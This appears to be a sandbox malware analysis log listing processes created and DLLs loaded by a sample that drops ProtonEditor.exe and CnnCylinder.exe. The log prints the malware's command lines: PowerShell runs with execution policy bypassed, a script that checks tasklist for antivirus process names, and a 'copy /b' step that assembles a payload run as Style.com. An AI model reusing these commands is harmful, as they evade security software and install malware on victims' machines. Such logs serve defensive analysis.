    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exe "C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --user-data-dir="C:\Users\user\AppData\Roaming\evfgtisrmbmqfiex" --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAGAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1104 --field-trial-handle=1836,i,2966728607677488285,16588942018758611239,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2
    Source: C:\Users\user\AppData\Local\Temp\69564\Style.comProcess created: C:\Users\user\AppData\Local\Temp\69564\Style.com C:\Users\user\AppData\Local\Temp\69564\Style.com
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeProcess created: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exe C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "chcp"Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exe "C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --user-data-dir="C:\Users\user\AppData\Roaming\evfgtisrmbmqfiex" --mojo-platform-channel-handle=2120 --field-trial-handle=1836,i,2966728607677488285,16588942018758611239,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "echo %COMPUTERNAME%.%USERDNSDOMAIN%"Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "findstr /C:"Detected boot environment" "%windir%\Panther\setupact.log""Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c ""C:\Users\user\AppData\Local\Temp\FBjp1YLF5OVM30rhnV\CnnCylinder.exe""Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\FBjp1YLF5OVM30rhnV\specreal.ps1""Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\chcp.com chcpJump to behavior
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\findstr.exe findstr /C:"Detected boot environment" "C:\Windows\Panther\setupact.log"
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\FBjp1YLF5OVM30rhnV\CnnCylinder.exe "C:\Users\user\AppData\Local\Temp\FBjp1YLF5OVM30rhnV\CnnCylinder.exe"
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\FBjp1YLF5OVM30rhnV\specreal.ps1"
    Source: C:\Users\user\AppData\Local\Temp\FBjp1YLF5OVM30rhnV\CnnCylinder.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Finally Finally.cmd && Finally.cmd
    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist
    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc"
    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist
    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c md 69564
    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\findstr.exe findstr /V "custodymatchesfacingzope" Ec
    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Flow + ..\Payable + ..\Qualifications + ..\Particular + ..\Generous + ..\Conclusions + ..\Bleeding X
    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\69564\Style.com Style.com X
    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
    Source: C:\Users\user\AppData\Local\Temp\69564\Style.comProcess created: C:\Users\user\AppData\Local\Temp\69564\Style.com C:\Users\user\AppData\Local\Temp\69564\Style.com
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeSection loaded: uxtheme.dllJump to behavior
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeSection loaded: userenv.dllJump to behavior
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeSection loaded: apphelp.dllJump to behavior
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeSection loaded: propsys.dllJump to behavior
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeSection loaded: dwmapi.dllJump to behavior
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeSection loaded: cryptbase.dllJump to behavior
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeSection loaded: oleacc.dllJump to behavior
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeSection loaded: ntmarta.dllJump to behavior
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeSection loaded: version.dllJump to behavior
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeSection loaded: shfolder.dllJump to behavior
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeSection loaded: kernel.appcore.dllJump to behavior
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeSection loaded: windows.storage.dllJump to behavior
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeSection loaded: wldp.dllJump to behavior
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeSection loaded: iconcodecservice.dllJump to behavior
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeSection loaded: windowscodecs.dllJump to behavior
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeSection loaded: windows.staterepositoryps.dllJump to behavior
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeSection loaded: wintypes.dllJump to behavior
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeSection loaded: windows.fileexplorer.common.dllJump to behavior
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeSection loaded: iertutil.dllJump to behavior
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeSection loaded: ntshrui.dllJump to behavior
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeSection loaded: sspicli.dllJump to behavior
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeSection loaded: profapi.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: ffmpeg.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: uiautomationcore.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: dbghelp.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: winmm.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: iphlpapi.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: version.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: userenv.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: dwrite.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: secur32.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: winhttp.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: dhcpcsvc.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: propsys.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: sspicli.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: cryptbase.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: powrprof.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: umpdc.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: uxtheme.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: mswsock.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: ntmarta.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: kbdus.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: kernel.appcore.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: dhcpcsvc6.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: dnsapi.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: napinsp.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: pnrpnsp.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: wshbth.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: nlaapi.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: winrnr.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: rasadhlp.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: windows.storage.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: wldp.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: dpapi.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: textinputframework.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: coreuicomponents.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: coremessaging.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: coremessaging.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: wintypes.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: wintypes.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: wintypes.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: windows.ui.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: windowmanagementapi.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: inputhost.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: twinapi.appcore.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: twinapi.appcore.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: profapi.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: wtsapi32.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: winsta.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: mscms.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: coloradapterclient.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: mmdevapi.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: devobj.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: fwpuclnt.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: msasn1.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: cryptsp.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: rsaenh.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: gpapi.dllJump to behavior
    Source: C:\Windows\System32\chcp.comSection loaded: ulib.dllJump to behavior
    Source: C:\Windows\System32\chcp.comSection loaded: fsutilext.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: ffmpeg.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: uiautomationcore.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: dbghelp.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: winmm.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: iphlpapi.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: version.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: userenv.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: dwrite.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: secur32.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: winhttp.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: dhcpcsvc.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: propsys.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: sspicli.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: cryptbase.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: powrprof.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: umpdc.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: uxtheme.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: mswsock.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: kernel.appcore.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: dxgi.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: resourcepolicyclient.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: mf.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: mfplat.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: rtworkq.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: msmpeg2vdec.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: mfperfhelper.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: cryptsp.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: dxva2.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: msvproc.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: dwmapi.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: ffmpeg.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: uiautomationcore.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: dbghelp.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: winmm.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeSection loaded: iphlpapi.dllJump to behavior
